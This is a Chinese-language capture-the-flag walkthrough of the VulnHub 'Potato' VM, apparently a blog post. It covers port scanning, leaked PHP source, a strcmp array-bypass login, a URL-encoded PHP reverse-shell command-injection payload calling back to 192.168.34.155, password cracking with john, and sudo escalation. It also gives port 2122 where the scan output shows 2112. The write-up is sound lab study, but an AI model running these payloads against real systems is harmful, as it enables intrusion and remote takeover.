vulnhub-Potato-wp

靶机描述

blog http://blog.yutian233.xyz/

VM name : Potato
Type: Boot to Root
DHCP : Enabled
Difficulty : Easy to medium
Goal: 2 flags (user.txt and root.txt)
This VM has been tested with VirtualBox

下载 https://www.vulnhub.com/entry/potato-1,529/

清单

  • 信息搜集

    • netdiscover
    • nmap
    • dirb
    • 源码泄露
  • 提权

    • 数组绕过
    • 命令执行
    • john获取密码
    • sudo
    • 得到root

信息搜集

靶机IP

image-20200911204406296

端口扫描

nmap -A 192.168.0.105

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Potato company
2112/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 ftp      ftp           901 Aug  2 19:33 index.php.bak
|_-rw-r--r--   1 ftp      ftp            54 Aug  2 18:17 welcome.msg

开放 22、80、2122端口

2122 端口开放ftp 可以下载文件

目录扫描

image-20200911203734587

/admin/index.php 内容为

image-20200911203809974

登陆到ftp,下载文件

image-20200911203537940

得到源码

index.php.bak

得到index.php 的源码

<html>
<head></head>
<body>

<?php

$pass= "potato"; //note Change this password regularly

if($_GET['login']==="1"){
  if (strcmp($_POST['username'], "admin") == 0  && strcmp($_POST['password'], $pass) == 0) {
    echo "Welcome! </br> Go to the <a href=\"dashboard.php\">dashboard</a>";
    setcookie('pass', $pass, time() + 365*24*3600);
  }else{
    echo "<p>Bad login/password! </br> Return to the <a href=\"index.php\">login page</a> <p>";
  }
  exit();
}
?>

POST

password[]=&username=admin

image-20200911203916241

登陆成功

命令执行

image-20200911204032927

logs 的功能存在命令注入,现在来反弹一个shell

Kali 开启监听

image-20200911204121853

POST传入

file=|php%20-r%20'%24sock%3Dfsockopen(%22192.168.34.155%22%2C2233)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'

得到shell

image-20200911204204481

image-20200913111103735

在 /etc/passwd 获取到用户 webadmin 的密码

解密结果为

dragon

image-20200913112943655

切换至 webadmin 用户

image-20200913113105043

可以看到以root权限执行

得到root

image-20200913112907476

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值